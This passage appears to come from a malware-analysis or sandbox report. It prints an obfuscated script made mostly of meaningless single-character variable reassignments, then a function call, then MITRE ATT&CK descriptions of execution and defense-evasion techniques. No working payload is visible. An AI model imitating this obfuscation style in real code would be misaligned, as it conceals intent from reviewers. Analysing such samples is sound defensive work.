255	hsrnuuc = "I";
256	hsrnuuc = "D";
257	hsrnuuc = "k";
258	hsrnuuc = "h";
259	hsrnuuc = "g";
260	nzqbwh = "C";
261	nzqbwh = "I";
262	nzqbwh = "C";
263	nzqbwh = "P";
264	nzqbwh = "A";
265	nzqbwh = "I";
266	exefjtnxz = "Y";
267	exefjtnxz = "l";
268	exefjtnxz = "O";
269	exefjtnxz = "H";
270	exefjtnxz = "M";
271	exefjtnxz = "I";
272	exefjtnxz = "T";
273	exefjtnxz = "h";
274	exefjtnxz = "G";
275	exefjtnxz = "x";
276	exefjtnxz = "J";
277	exefjtnxz = "o";
278	exefjtnxz = "p";
279	exefjtnxz = "T";
280	exefjtnxz = "C";
281	exefjtnxz = "Q";
282	exefjtnxz = "c";
283	exefjtnxz = "T";
284	exefjtnxz = "H";
285	exefjtnxz = "R";
286	exefjtnxz = "Q";
287	exefjtnxz = "F";
288	exefjtnxz = "b";
289	exefjtnxz = "m";
290	exefjtnxz = "R";
291	exefjtnxz = "x";
292	exefjtnxz = "S";
293	exefjtnxz = "X";
294	exefjtnxz = "V";
295	exefjtnxz = "e";
296	exefjtnxz = "V";
297	exefjtnxz = "B";
298	exefjtnxz = "Y";
299	exefjtnxz = "F";
300	exefjtnxz = "Y";
301	exefjtnxz = "Z";
302	exefjtnxz = "I";
303	exefjtnxz = "8";
304	btrompubr = "F";
305	btrompubr = "A";
306	btrompubr = "n";
307	vbnipilgj = "z";
308	vbnipilgj = "q";
309	vbnipilgj = "O";
310	vbnipilgj = "E";
311	vbnipilgj = "M";
312	vbnipilgj = "t";
313	vbnipilgj = "W";
314	vbnipilgj = "b";
315	hanqx = "P";
316	hanqx = "c";
317	hanqx = "q";
318	hanqx = "T";
319	hanqx = "J";
320	hanqx = "m";
321	hanqx = "G";
322	hanqx = "w";
323	hanqx = "P";
324	hanqx = "f";
325	hanqx = "k";
326	hanqx = "j";
327	hanqx = "V";
328	hanqx = "y";
329	hanqx = "a";
330	hanqx = "D";
331	hanqx = "r";
332	hanqx = "w";
333	lygphitce = "J";
334	lygphitce = "I";
335	lygphitce = "D";
336	lygphitce = "B";
337	lygphitce = "N";
338	lygphitce = "c";
339	lygphitce = "P";
340	lygphitce = "v";
341	lygphitce = "L";
342	lygphitce = "Y";
343	lygphitce = "X";
344	lygphitce = "A";
345	lygphitce = "z";
346	lygphitce = "M";
347	lygphitce = "U";
348	lygphitce = "j";
349	lygphitce = "f";
350	lygphitce = "l";
351	lygphitce = "k";
352	lygphitce = "a";
353	lygphitce = "J";
354	lygphitce = "a";
355	lygphitce = "J";
356	lygphitce = "u";
357	lygphitce = "u";
358	lygphitce = "o";
359	lygphitce = "x";
360	begtg = "R";
361	begtg = "t";
362	begtg = "A";
363	begtg = "l";
364	begtg = "o";
365	begtg = "s";
366	begtg = "C";
367	begtg = "g";
368	begtg = "M";
369	begtg = "r";
370	begtg = "E";
371	begtg = "L";
372	begtg = "j";
373	begtg = "u";
374	begtg = "x";
375	begtg = "-";
376	ktagaikvp = "_";
377	gxqtmmv = "e";
378	gxqtmmv = "d";
379	gxqtmmv = "I";
380	gxqtmmv = "w";
381	gxqtmmv = "U";
382	gxqtmmv = "S";
383	gxqtmmv = "F";
384	gxqtmmv = "C";
385	gxqtmmv = "i";
386	gxqtmmv = "j";
387	gxqtmmv = "H";
388	gxqtmmv = "e";
389	gxqtmmv = "x";
390	gxqtmmv = "D";
391	gxqtmmv = "Y";
392	gxqtmmv = "s";
393	gxqtmmv = "g";
394	gxqtmmv = "Z";
395	gxqtmmv = "o";
396	gxqtmmv = "p";
397	gxqtmmv = "J";
398	gxqtmmv = "s";
399	gxqtmmv = "T";
400	gxqtmmv = "a";
401	gxqtmmv = "D";
402	gxqtmmv = "b";
403	gxqtmmv = "l";
404	gxqtmmv = "H";
405	gxqtmmv = "u";
406	gxqtmmv = "o";
407	amcqomyx = "L";
408	amcqomyx = "k";
409	amcqomyx = "N";
410	amcqomyx = "a";
411	amcqomyx = "o";
412	amcqomyx = "F";
413	amcqomyx = "h";
414	amcqomyx = "z";
415	amcqomyx = "v";
416	amcqomyx = "J";
417	amcqomyx = "b";
418	amcqomyx = "J";
419	amcqomyx = "k";
420	amcqomyx = "q";
421	amcqomyx = "s";
422	amcqomyx = "n";
423	amcqomyx = "t";
424	amcqomyx = "g";
425	amcqomyx = "a";
426	amcqomyx = "K";
427	amcqomyx = "D";
428	amcqomyx = "r";
429	amcqomyx = "W";
430	amcqomyx = "U";
431	amcqomyx = "f";
432	amcqomyx = "P";
433	amcqomyx = "Q";
434	amcqomyx = "V";
435	amcqomyx = "Z";
436	amcqomyx = "k";
437	amcqomyx = "o";
438	amcqomyx = "w";
439	amcqomyx = "I";
440	amcqomyx = "u";
441	agkbynz = "S";
442	agkbynz = "p";
443	agkbynz = "t";
444	agkbynz = "E";
445	agkbynz = "K";
446	agkbynz = "l";
447	agkbynz = "V";
448	agkbynz = "n";
449	agkbynz = "X";
450	agkbynz = "s";
451	agkbynz = "i";
452	agkbynz = "K";
453	agkbynz = "B";
454	agkbynz = "t";
455	agkbynz = "j";
456	agkbynz = "O";
457	agkbynz = "L";
458	agkbynz = "g";
459	agkbynz = "F";
460	agkbynz = "w";
461	agkbynz = "d";
462	agkbynz = "c";
463	agkbynz = "b";
464	agkbynz = "z";
465	agkbynz = "L";
466	agkbynz = "x";
467	agkbynz = "R";
468	agkbynz = "b";
469	agkbynz = "b";
470	agkbynz = "V";
471	agkbynz = "P";
472	agkbynz = "j";
473	uqwjz = "C";
474	uqwjz = "a";
475	uqwjz = "r";
476	uqwjz = "l";
477	uqwjz = "k";
478	uqwjz = "I";
479	uqwjz = "u";
480	uqwjz = "k";
481	uqwjz = "H";
482	uqwjz = "o";
483	uqwjz = "g";
484	uqwjz = "a";
485	uqwjz = "F";
486	uqwjz = "i";
487	uqwjz = "U";
488	uqwjz = "b";
489	uqwjz = "A";
490	uqwjz = "u";
491	uqwjz = "d";
492	uqwjz = "L";
493	uqwjz = "R";
494	uqwjz = "w";
495	uqwjz = "X";
496	uqwjz = "s";
497	uqwjz = "T";
498	bgstdui = "z";
499	bgstdui = "m";
500	bgstdui = "W";
501	bgstdui = "x";
502	bgstdui = "C";
503	bgstdui = "h";
504	bgstdui = "j";
505	bgstdui = "e";
506	bgstdui = "3";
507	tlgoodfe = "F";
508	tlgoodfe = "b";
509	tlgoodfe = "r";
510	tlgoodfe = "e";
511	tlgoodfe = "M";
512	tlgoodfe = "I";
513	tlgoodfe = "X";
514	tlgoodfe = "i";
515	tlgoodfe = "e";
516	tlgoodfe = "y";
517	tlgoodfe = "a";
518	tlgoodfe = "H";
519	dbkqdrd = "U";
520	dbkqdrd = "Q";
521	dbkqdrd = "J";
522	dbkqdrd = "b";
523	dbkqdrd = "V";
524	dbkqdrd = "k";
525	dbkqdrd = "B";
526	dbkqdrd = "e";
527	dbkqdrd = "y";
528	dbkqdrd = "y";
529	dbkqdrd = "q";
530	dbkqdrd = "h";
531	dbkqdrd = "a";
532	dbkqdrd = "g";
533	dbkqdrd = "f";
534	dbkqdrd = "p";
535	dbkqdrd = "n";
536	dbkqdrd = "U";
537	dbkqdrd = "i";
538	dbkqdrd = "t";
539	dbkqdrd = "u";
540	dbkqdrd = "p";
541	dbkqdrd = "o";
542	dbkqdrd = "M";
543	dbkqdrd = "I";
544	dbkqdrd = "C";
545	dbkqdrd = "U";
546	dbkqdrd = "M";
547	dbkqdrd = "V";
548	dbkqdrd = "A";
549	dbkqdrd = "W";
550	dbkqdrd = "B";
551	dbkqdrd = "m";
552	dbkqdrd = "n";
553	dbkqdrd = "h";
554	dbkqdrd = "U";
555	dbkqdrd = "W";
556	esihu = "a";
557	esihu = "M";
558	esihu = "q";
559	esihu = "f";
560	esihu = "Q";
561	esihu = "V";
562	esihu = "W";
563	esihu = "E";
564	esihu = "s";
565	esihu = "P";
566	esihu = "D";
567	esihu = "y";
568	esihu = "H";
569	esihu = "W";
570	esihu = "G";
571	esihu = "k";
572	esihu = "s";
573	esihu = "k";
574	esihu = "E";
575	esihu = "h";
576	esihu = "o";
577	esihu = "R";
578	esihu = "e";
579	esihu = "S";
580	esihu = "r";
581	esihu = "l";
582	esihu = "i";
583	esihu = "t";
584	esihu = "S";
585	tkkqjjy = "p";
586	tkkqjjy = "f";
587	tkkqjjy = "X";
588	tkkqjjy = "H";
589	tkkqjjy = "d";
590	tkkqjjy = "E";
591	tkkqjjy = "C";
592	tkkqjjy = "H";
593	tkkqjjy = "r";
594	tkkqjjy = "O";
595	tkkqjjy = "k";
596	tkkqjjy = "r";
597	tkkqjjy = "i";
598	tkkqjjy = "H";
599	tkkqjjy = "u";
600	tkkqjjy = "s";
601	tkkqjjy = "D";
602	tkkqjjy = "h";
603	tkkqjjy = "d";
604	tkkqjjy = "v";
605	tkkqjjy = "o";
606	tkkqjjy = "W";
607	tkkqjjy = "o";
608	tkkqjjy = "M";
609	tkkqjjy = "G";
610	tkkqjjy = "A";
611	tkkqjjy = "n";
612	tkkqjjy = "Q";
613	tkkqjjy = "i";
614	tkkqjjy = "g";
615	tkkqjjy = "6";
616	cazpwmwpm = "q";
617	cazpwmwpm = "R";
618	cazpwmwpm = "Y";
619	cazpwmwpm = "W";
620	cazpwmwpm = "J";
621	cazpwmwpm = "l";
622	cazpwmwpm = "j";
623	cazpwmwpm = "x";
624	cazpwmwpm = "D";
625	cazpwmwpm = "K";
626	cazpwmwpm = "h";
627	cazpwmwpm = "U";
628	cazpwmwpm = "d";
629	cazpwmwpm = "M";
630	cazpwmwpm = "n";
631	cazpwmwpm = "l";
632	cazpwmwpm = "N";
633	cazpwmwpm = "T";
634	cazpwmwpm = "s";
635	cazpwmwpm = "v";
636	cazpwmwpm = "X";
637	cazpwmwpm = "B";
638	cazpwmwpm = "D";
639	cazpwmwpm = "f";
640	cazpwmwpm = "s";
641	cazpwmwpm = "h";
642	cazpwmwpm = "C";
643	cazpwmwpm = "t";
644	cazpwmwpm = "j";
645	cazpwmwpm = "R";
646	cazpwmwpm = "o";
647	cazpwmwpm = "\\";
648	pfamynggr = "Y";
649	pfamynggr = "Z";
650	pfamynggr = "R";
651	pfamynggr = "U";
652	pfamynggr = "O";
653	pfamynggr = "Z";
654	pfamynggr = "N";
655	pfamynggr = "R";
656	pfamynggr = "t";
657	pfamynggr = "s";
658	pfamynggr = "u";
659	pfamynggr = "n";
660	pfamynggr = "O";
661	pfamynggr = "d";
662	pfamynggr = "v";
663	pfamynggr = "A";
664	pfamynggr = "K";
665	pfamynggr = "s";
666	pfamynggr = "D";
667	pfamynggr = "P";
668	pfamynggr = "s";
669	pfamynggr = "l";
670	pfamynggr = "O";
671	pfamynggr = "p";
672	pfamynggr = "a";
673	pfamynggr = "T";
674	pfamynggr = "d";
675	pfamynggr = "W";
676	pfamynggr = "a";
677	pfamynggr = "V";
678	pfamynggr = "r";
679	pfamynggr = "t";
680	pfamynggr = "E";
681	lhqti = "Q";
682	lhqti = "m";
683	lhqti = "u";
684	lhqti = "x";
685	lhqti = "R";
686	lhqti = "C";
687	lhqti = "r";
688	lhqti = "O";
689	lhqti = "C";
690	lhqti = "B";
691	lhqti = "D";
692	lhqti = "U";
693	lhqti = "U";
694	lhqti = "V";
695	lhqti = "c";
696	tyrmtz = "R";
697	tyrmtz = "Z";
698	tyrmtz = "m";
699	tyrmtz = "b";
700	tyrmtz = "N";
701	tyrmtz = "1";
702	hhpjfccij = "D";
703	hhpjfccij = "h";
704	hhpjfccij = "L";
705	hhpjfccij = "p";
706	hhpjfccij = "k";
707	hhpjfccij = "G";
708	hhpjfccij = "H";
709	hhpjfccij = "S";
710	hhpjfccij = "S";
711	hhpjfccij = "M";
712	hhpjfccij = "i";
713	hhpjfccij = "O";
714	hhpjfccij = "r";
715	hhpjfccij = "W";
716	hhpjfccij = "E";
717	hhpjfccij = "j";
718	hhpjfccij = "p";
719	xotizili = "N";
720	xotizili = "V";
721	xotizili = "s";
722	xotizili = "t";
723	xotizili = "o";
724	xotizili = "x";
725	xotizili = "U";
726	xotizili = "u";
727	xotizili = "q";
728	xotizili = "l";
729	xotizili = "Y";
730	xotizili = "e";
731	xotizili = "O";
732	xotizili = "l";
733	xotizili = "B";
734	xotizili = "x";
735	xotizili = "Z";
736	xotizili = "P";
737	xotizili = "C";
738	xotizili = "i";
739	xotizili = "A";
740	xotizili = "n";
741	xotizili = "D";
742	xotizili = "K";
743	xotizili = "d";
744	xotizili = "x";
745	xotizili = "H";
746	xotizili = "z";
747	xotizili = "j";
748	xotizili = "X";
749	xotizili = "D";
750	xotizili = "L";
751	xotizili = "e";
752	xotizili = "f";
753	xotizili = "J";
754	xotizili = "G";
755	xotizili = ".";
756	qnjgaix = "F";
757	qnjgaix = "B";
758	qnjgaix = "Q";
759	qnjgaix = "h";
760	qnjgaix = "E";
761	qnjgaix = "W";
762	qnjgaix = "T";
763	qnjgaix = "I";
764	qnjgaix = "V";
765	qnjgaix = "L";
766	qnjgaix = "e";
767	qnjgaix = "x";
768	qnjgaix = "t";
769	qnjgaix = "L";
770	qnjgaix = "t";
771	qnjgaix = "z";
772	qnjgaix = "R";
773	qnjgaix = "V";
774	qnjgaix = "s";
775	qnjgaix = "C";
776	qnjgaix = "h";
777	qnjgaix = "d";
778	qnjgaix = "g";
779	qnjgaix = "h";
780	qnjgaix = "x";
781	qnjgaix = "n";
782	qnjgaix = "r";
783	qnjgaix = "X";
784	qnjgaix = "z";
785	qnjgaix = "d";
786	qnjgaix = "r";
787	qnjgaix = "l";
788	qnjgaix = "K";
789	qnjgaix = "S";
790	qnjgaix = "k";
791	qnjgaix = "q";
792	qnjgaix = "I";
793	qnjgaix = "U";
794	qnjgaix = "4";
795	xitvz = "U";
796	xitvz = "T";
797	xitvz = "J";
798	xitvz = "I";
799	xitvz = "W";
800	xitvz = "V";
801	xitvz = "c";
802	xitvz = "d";
803	xitvz = "R";
804	xitvz = "F";
805	xitvz = "T";
806	xitvz = "N";
807	xitvz = "f";
808	xitvz = "A";
809	xitvz = "o";
810	xitvz = "y";
811	xitvz = "K";
812	xitvz = "g";
813	xitvz = "n";
814	xitvz = "M";
815	xitvz = "m";
816	xitvz = "V";
817	xitvz = "p";
818	xitvz = "K";
819	xitvz = "S";
820	xitvz = "p";
821	xitvz = "a";
822	xitvz = "Z";
823	xitvz = "B";
824	xitvz = "Z";
825	xitvz = "l";
826	xitvz = "P";
827	xitvz = "j";
828	xitvz = "b";
829	xitvz = "Y";
830	xitvz = "U";
831	xitvz = "z";
832	xitvz = "K";
833	xitvz = "K";
834	xitvz = "m";
835	xitvz = "o";
836	xitvz = "k";
837	gfxtr = "q";
838	gfxtr = "f";
839	gfxtr = "Z";
840	gfxtr = "A";
841	gfxtr = "t";
842	gfxtr = "x";
843	gfxtr = "V";
844	gfxtr = "d";
845	gfxtr = "s";
846	obpceh = "N";
847	obpceh = "N";
848	obpceh = "v";
849	obpceh = "h";
850	obpceh = "p";
851	obpceh = "V";
852	obpceh = "w";
853	obpceh = "W";
854	obpceh = "d";
855	obpceh = "V";
856	obpceh = "Z";
857	obpceh = "W";
858	obpceh = "y";
859	obpceh = "B";
860	obpceh = "J";
861	obpceh = "n";
862	obpceh = "I";
863	obpceh = "k";
864	obpceh = "p";
865	obpceh = "r";
866	obpceh = "c";
867	obpceh = "Z";
868	obpceh = "b";
869	obpceh = "h";
870	obpceh = "I";
871	obpceh = "Q";
872	obpceh = "z";
873	obpceh = "H";
874	obpceh = "R";
875	obpceh = "R";
876	atrizyh = "E";
877	atrizyh = "d";
878	atrizyh = "I";
879	atrizyh = "I";
880	atrizyh = "n";
881	atrizyh = "L";
882	atrizyh = "q";
883	atrizyh = "T";
884	atrizyh = "x";
885	atrizyh = "J";
886	atrizyh = "G";
887	atrizyh = "q";
888	atrizyh = "e";
889	atrizyh = "F";
890	atrizyh = "P";
891	atrizyh = "r";
892	atrizyh = "x";
893	atrizyh = "A";
894	atrizyh = "D";
895	atrizyh = "w";
896	atrizyh = "E";
897	atrizyh = "w";
898	atrizyh = "P";
899	atrizyh = "Q";
900	lwpivl = "s";
901	lwpivl = "t";
902	lwpivl = "v";
903	lwpivl = "Q";
904	lwpivl = "O";
905	lwpivl = "l";
906	lwpivl = "l";
907	lwpivl = "Q";
908	lwpivl = "g";
909	lwpivl = "S";
910	lwpivl = "t";
911	lwpivl = "t";
912	aqdcyydr = "D";
913	aqdcyydr = "V";
914	aqdcyydr = "H";
915	aqdcyydr = "I";
916	aqdcyydr = "S";
917	aqdcyydr = "G";
918	aqdcyydr = "x";
919	aqdcyydr = "y";
920	aqdcyydr = "x";
921	aqdcyydr = "r";
922	aqdcyydr = "T";
923	aqdcyydr = "u";
924	aqdcyydr = "h";
925	aqdcyydr = "i";
926	aqdcyydr = "K";
927	aqdcyydr = "c";
928	aqdcyydr = "I";
929	aqdcyydr = "U";
930	aqdcyydr = "G";
931	aqdcyydr = "v";
932	aqdcyydr = "M";
933	aqdcyydr = "M";
934	aqdcyydr = "i";
935	aqdcyydr = "N";
936	aqdcyydr = "P";
937	aqdcyydr = "e";
938	aqdcyydr = "u";
939	aqdcyydr = "t";
940	aqdcyydr = "G";
941	aqdcyydr = "W";
942	aqdcyydr = "A";
943	aqdcyydr = "G";
944	aqdcyydr = "Y";
945	aqdcyydr = "N";
946	aqdcyydr = "E";
947	aqdcyydr = "X";
948	aqdcyydr = "L";
949	aqdcyydr = "b";
950	aqdcyydr = "a";
951	scowcrdnk = "q";
952	scowcrdnk = "P";
953	scowcrdnk = "k";
954	scowcrdnk = "o";
955	scowcrdnk = "A";
956	scowcrdnk = "r";
957	fmlgt = "V";
958	fmlgt = "f";
959	fmlgt = "s";
960	fmlgt = "Y";
961	fmlgt = "O";
962	fmlgt = "w";
963	fmlgt = "f";
964	fmlgt = "c";
965	fmlgt = "C";
966	fmlgt = "Z";
967	fmlgt = "O";
968	fmlgt = "r";
969	fmlgt = "A";
970	fmlgt = "A";
971	fmlgt = "Z";
972	fmlgt = "o";
973	fmlgt = "z";
974	fmlgt = "D";
975	fmlgt = "r";
976	fmlgt = "h";
977	fmlgt = "p";
978	fmlgt = "U";
979	fmlgt = "K";
980	fmlgt = "u";
981	fmlgt = "f";
982	fmlgt = "u";
983	fmlgt = "G";
984	fmlgt = "V";
985	fmlgt = " ";
986	wewhleh = "T";
987	wewhleh = "J";
988	wewhleh = "o";
989	wewhleh = "u";
990	wewhleh = "Y";
991	wewhleh = "M";
992	wewhleh = "g";
993	wewhleh = "h";
994	wewhleh = "z";
995	wewhleh = "A";
996	wewhleh = "V";
997	wewhleh = "r";
998	wewhleh = "r";
999	wewhleh = "d";
1000	wewhleh = "H";
1001	wewhleh = "m";
1002	wewhleh = "h";
1003	wewhleh = "y";
1004	wewhleh = "x";
1005	wewhleh = "k";
1006	wewhleh = "D";
1007	wewhleh = "w";
1008	wewhleh = "d";
1009	wewhleh = "E";
1010	wewhleh = "B";
1011	wewhleh = "M";
1012	wewhleh = "K";
1013	wewhleh = "P";
1014	wewhleh = "c";
1015	wewhleh = "Q";
1016	wewhleh = "y";
1017	wewhleh = "y";
1018	wewhleh = "P";
1019	lqfropp = "v";
1020	lqfropp = "x";
1021	lqfropp = "D";
1022	lqfropp = "d";
1023	lqfropp = "i";
1024	lqfropp = "V";
1025	lqfropp = "l";
1026	lqfropp = "G";
1027	lqfropp = "C";
1028	lqfropp = "z";
1029	lqfropp = "m";
1030	danipayek = "u";
1031	danipayek = "X";
1032	danipayek = "X";
1033	danipayek = "F";
1034	danipayek = "m";
1035	danipayek = "E";
1036	danipayek = "B";
1037	danipayek = "S";
1038	danipayek = "e";
1039	danipayek = "M";
1040	danipayek = "u";
1041	danipayek = "H";
1042	danipayek = "H";
1043	danipayek = "G";
1044	danipayek = "f";
1045	danipayek = "y";
1046	danipayek = "K";
1047	danipayek = "M";
1048	danipayek = "I";
1049	danipayek = "m";
1050	danipayek = "h";
1051	danipayek = "o";
1052	danipayek = "l";
1053	danipayek = "S";
1054	danipayek = "L";
1055	danipayek = "h";
1056	danipayek = "z";
1057	danipayek = "z";
1058	danipayek = "v";
1059	danipayek = "N";
1060	danipayek = "n";
1061	danipayek = "C";
1062	danipayek = "F";
1063	danipayek = "@";
1064	mkzonly = "Z";
1065	mkzonly = "z";
1066	mkzonly = "J";
1067	mkzonly = "C";
1068	mkzonly = "g";
1069	mkzonly = "o";
1070	mkzonly = "c";
1071	mkzonly = "n";
1072	mkzonly = "A";
1073	mkzonly = "z";
1074	mkzonly = "k";
1075	mkzonly = "M";
1076	mkzonly = "j";
1077	mkzonly = "S";
1078	mkzonly = "t";
1079	mkzonly = "R";
1080	mkzonly = "u";
1081	mkzonly = "l";
1082	mkzonly = "P";
1083	mkzonly = "C";
1084	mkzonly = "O";
1085	mkzonly = "t";
1086	mkzonly = "l";
1087	mkzonly = "x";
1088	mkzonly = "N";
1089	mkzonly = "L";
1090	mkzonly = "X";
1091	mkzonly = "h";
1092	mkzonly = "C";
1093	mkzonly = "V";
1094	mkzonly = "x";
1095	mkzonly = "Y";
1096	mkzonly = "r";
1097	mkzonly = "F";
1098	mkzonly = "F";
1099	mkzonly = "O";
1100	mkzonly = "e";
1101	mkzonly = "C";
1102	mkzonly = "k";
1103	mkzonly = "Y";
1104	mbbuu = "j";
1105	mbbuu = "H";
1106	mbbuu = "z";
1107	mbbuu = "y";
1108	mbbuu = "A";
1109	mbbuu = "T";
1110	mbbuu = "M";
1111	mbbuu = "f";
1112	mbbuu = "I";
1113	mbbuu = "P";
1114	mbbuu = "/";
1115	cgocbev = "T";
1116	cgocbev = "m";
1117	cgocbev = "d";
1118	cgocbev = "g";
1119	cgocbev = "B";
1120	cgocbev = "y";
1121	cgocbev = "T";
1122	cgocbev = "N";
1123	cgocbev = "h";
1124	cgocbev = "j";
1125	cgocbev = "x";
1126	cgocbev = "w";
1127	cgocbev = "w";
1128	cgocbev = "T";
1129	cgocbev = "V";
1130	cgocbev = "G";
1131	cgocbev = "m";
1132	cgocbev = "D";
1133	cgocbev = "t";
1134	cgocbev = "Q";
1135	cgocbev = "Z";
1136	cgocbev = "W";
1137	cgocbev = "O";
1138	cgocbev = "P";
1139	cgocbev = "Y";
1140	cgocbev = "T";
1141	cgocbev = "f";
1142	cgocbev = "5";
1143	xkhysgxv = "L";
1144	xkhysgxv = "L";
1145	iuqeb = "P";
1146	iuqeb = "l";
1147	iuqeb = "s";
1148	iuqeb = "F";
1149	iuqeb = "s";
1150	iuqeb = "x";
1151	iuqeb = "Z";
1152	iuqeb = "g";
1153	iuqeb = "p";
1154	iuqeb = "t";
1155	iuqeb = "m";
1156	iuqeb = "W";
1157	iuqeb = "C";
1158	iuqeb = "Y";
1159	iuqeb = "J";
1160	iuqeb = "C";
1161	vggdoaymk = "c";
1162	vggdoaymk = "N";
1163	vggdoaymk = "L";
1164	vggdoaymk = "m";
1165	vggdoaymk = "p";
1166	vggdoaymk = "A";
1167	vggdoaymk = "r";
1168	vggdoaymk = "P";
1169	vggdoaymk = "d";
1170	vggdoaymk = "c";
1171	vggdoaymk = "t";
1172	vggdoaymk = "v";
1173	vggdoaymk = "h";
1174	vggdoaymk = "z";
1175	vggdoaymk = "w";
1176	vggdoaymk = "O";
1177	vggdoaymk = "V";
1178	vggdoaymk = "v";
1179	dlpbfe = "Y";
1180	dlpbfe = "R";
1181	dlpbfe = "U";
1182	dlpbfe = "l";
1183	dlpbfe = "R";
1184	dlpbfe = "D";
1185	dlpbfe = "E";
1186	dlpbfe = "S";
1187	dlpbfe = "j";
1188	dlpbfe = "q";
1189	dlpbfe = "c";
1190	dlpbfe = "c";
1191	dlpbfe = "y";
1192	dlpbfe = "q";
1193	dlpbfe = "e";
1194	dlpbfe = "U";
1195	dlpbfe = "v";
1196	dlpbfe = "E";
1197	dlpbfe = "W";
1198	dlpbfe = "I";
1199	dlpbfe = "c";
1200	dlpbfe = "H";
1201	dlpbfe = "O";
1202	dlpbfe = "V";
1203	dlpbfe = "k";
1204	dlpbfe = "U";
1205	dlpbfe = "h";
1206	dlpbfe = "a";
1207	dlpbfe = "X";
1208	dlpbfe = "t";
1209	dlpbfe = "C";
1210	dlpbfe = "A";
1211	dlpbfe = "P";
1212	dlpbfe = "b";
1213	dlpbfe = "i";
1214	dlpbfe = "h";
1215	jjcmqhj = "Y";
1216	jjcmqhj = "K";
1217	jjcmqhj = "j";
1218	jjcmqhj = "N";
1219	jjcmqhj = "t";
1220	jjcmqhj = "p";
1221	jjcmqhj = "W";
1222	jjcmqhj = "C";
1223	jjcmqhj = "&";
1224	nmacls = "J";
1225	nmacls = "7";
1226	vufau = "p";
1227	vufau = "J";
1228	vufau = "a";
1229	vufau = "M";
1230	vufau = "G";
1231	vufau = "B";
1232	vufau = "U";
1233	vufau = "T";
1234	vufau = "Z";
1235	vufau = "t";
1236	vufau = "d";
1237	vufau = "c";
1238	vufau = "E";
1239	vufau = "J";
1240	vufau = "2";
1241	rbvfjpn = "h";
1242	rbvfjpn = "K";
1243	rbvfjpn = "d";
1244	rbvfjpn = "A";
1245	rbvfjpn = "O";
1246	jxcghebq = "F";
1247	jxcghebq = "b";
1248	jxcghebq = "W";
1249	jxcghebq = "p";
1250	jxcghebq = "Y";
1251	jxcghebq = "R";
1252	jxcghebq = "y";
1253	jxcghebq = "L";
1254	jxcghebq = "u";
1255	jxcghebq = "A";
1256	jxcghebq = "u";
1257	jxcghebq = "U";
1258	jxcghebq = "A";
1259	jxcghebq = "D";
1260	jxcghebq = "j";
1261	jxcghebq = "A";
1262	jxcghebq = "M";
1263	jxcghebq = "x";
1264	jxcghebq = "Y";
1265	jxcghebq = "h";
1266	jxcghebq = "v";
1267	jxcghebq = "D";
1268	jxcghebq = "R";
1269	jxcghebq = "w";
1270	jxcghebq = "o";
1271	jxcghebq = "p";
1272	jxcghebq = "A";
1273	jxcghebq = "V";
1274	jxcghebq = "s";
1275	jxcghebq = "M";
1276	jxcghebq = "d";
1277	jqbnatexx = "D";
1278	jqbnatexx = "r";
1279	jqbnatexx = "n";
1280	jqbnatexx = "G";
1281	jqbnatexx = "v";
1282	jqbnatexx = "R";
1283	jqbnatexx = "C";
1284	jqbnatexx = "M";
1285	jqbnatexx = "b";
1286	jqbnatexx = "W";
1287	jqbnatexx = "I";
1288	jqbnatexx = "a";
1289	jqbnatexx = "A";
1290	jqbnatexx = "p";
1291	jqbnatexx = "N";
1292	jqbnatexx = "z";
1293	jqbnatexx = "n";
1294	jqbnatexx = "f";
1295	jqbnatexx = "S";
1296	jqbnatexx = "P";
1297	jqbnatexx = "s";
1298	jqbnatexx = "F";
1299	jqbnatexx = "A";
1300	jqbnatexx = "l";
1301	jqbnatexx = "k";
1302	jqbnatexx = "v";
1303	jqbnatexx = "T";
1304	jqbnatexx = "W";
1305	jqbnatexx = "l";
1306	jqbnatexx = "b";
1307	jqbnatexx = "Z";
1308	jqbnatexx = "P";
1309	jqbnatexx = "O";
1310	jqbnatexx = "E";
1311	jqbnatexx = "Q";
1312	jqbnatexx = "y";
1313	jqbnatexx = "U";
1314	fbtvkyuaq = "U";
1315	fbtvkyuaq = "h";
1316	fbtvkyuaq = "a";
1317	fbtvkyuaq = "m";
1318	fbtvkyuaq = "Y";
1319	fbtvkyuaq = "h";
1320	fbtvkyuaq = "x";
1321	fbtvkyuaq = "X";
1322	fbtvkyuaq = "t";
1323	fbtvkyuaq = "I";
1324	fbtvkyuaq = "i";
1325	kfdhsbns = "O";
1326	kfdhsbns = "g";
1327	kfdhsbns = "A";
1328	kfdhsbns = "m";
1329	kfdhsbns = "S";
1330	kfdhsbns = "v";
1331	kfdhsbns = "T";
1332	kfdhsbns = "T";
1333	kfdhsbns = "o";
1334	kfdhsbns = "q";
1335	kfdhsbns = "k";
1336	kfdhsbns = "M";
1337	kfdhsbns = "u";
1338	kfdhsbns = "l";
1339	kfdhsbns = "h";
1340	kfdhsbns = "S";
1341	kfdhsbns = "C";
1342	kfdhsbns = "o";
1343	kfdhsbns = "Q";
1344	kfdhsbns = "e";
1345	casisuoj ( );	casisuoj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
